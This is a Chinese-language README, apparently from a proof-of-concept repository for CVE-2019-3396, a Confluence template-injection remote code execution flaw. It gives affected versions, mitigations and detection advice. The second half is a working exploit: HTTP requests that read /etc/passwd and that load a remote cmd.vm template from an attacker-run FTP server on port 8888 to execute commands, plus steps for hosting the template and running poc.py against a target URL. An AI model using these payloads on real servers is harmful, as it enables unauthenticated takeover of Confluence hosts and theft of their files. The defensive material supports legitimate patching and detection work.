CVE-2019-3396

CVE-2019-3396 Confluence SSTI RCE

🔎 什么是 CVE-2019-3396？

• 一个严重的 Confluence 漏洞（Atlassian）。
• 类型：模板注入 + 路径遍历。
• 风险：无需登录即可远程代码执行（RCE）。
• 状态：已在野外被利用。

🛑 受影响的版本

• 6.6.0 → 6.6.11 ❌ 受影响
• 6.6.12 ✅ 已修复
• 6.12.0 → 6.12.2 ❌ 受影响
• 6.12.3 ✅ 已修复
• 6.13.0 → 6.13.2 ❌ 受影响
• 6.13.3 ✅ 已修复
• 6.14.0 → 6.14.1 ❌ 受影响
• 6.14.2 ✅ 已修复

👉 请始终查阅 Atlassian 官方公告以获取完整详情。

💥 影响

• 完全服务器接管
• 数据窃取、勒索软件、加密矿工
• 攻击者可执行任意代码

🔐 缓解措施

• ✅ 升级到已修复的 Confluence 版本（最佳方案）
• 🚫 如果无法立即修补，请禁用 Widget Connector 宏
• 🔒 限制访问（在修复前仅限内网使用）

👀 检测（安全提示）

• 监视日志中是否有针对 macro/preview 端点的异常请求
• 查找可疑进程或出站流量
• 使用漏洞扫描器确认版本

📂 读取文件

POST /rest/tinymce/1/macro/preview HTTP/2
Host: {***}

{"macro":{"params":{"_template":"file:///etc/passwd"}}}

执行命令

POST /rest/tinymce/1/macro/preview HTTP/2
Host: ***

{"contentId":"1","macro":{"name":"widget","params":{"_template":"ftp://***:8888/cmd.vm","command":"id"},"body":""}}

自动化操作

• 在你的 VPS 上上传 cmd.vm
• 使用 ftp 或 https 创建指向该 cmd.vm 文件的链接，例如：

pip install pyftpdlib
python -m pyftpdlib -p  8888

• 更新 poc.py 文件，将 pyftp 设置为新值：pyftp = "ftp://10.100.10.100:8888/cmd.vm"

python poc.py <url> <cmd>
python poc.py https://ip:port  "id"

⚠️ 提示 — 本仓库仅用于教育、防御和安全意识提升。

🔗 参考资料

• Atlassian 安全公告 🏢
• CVE-2019-3396 的 NVD 条目 🛡️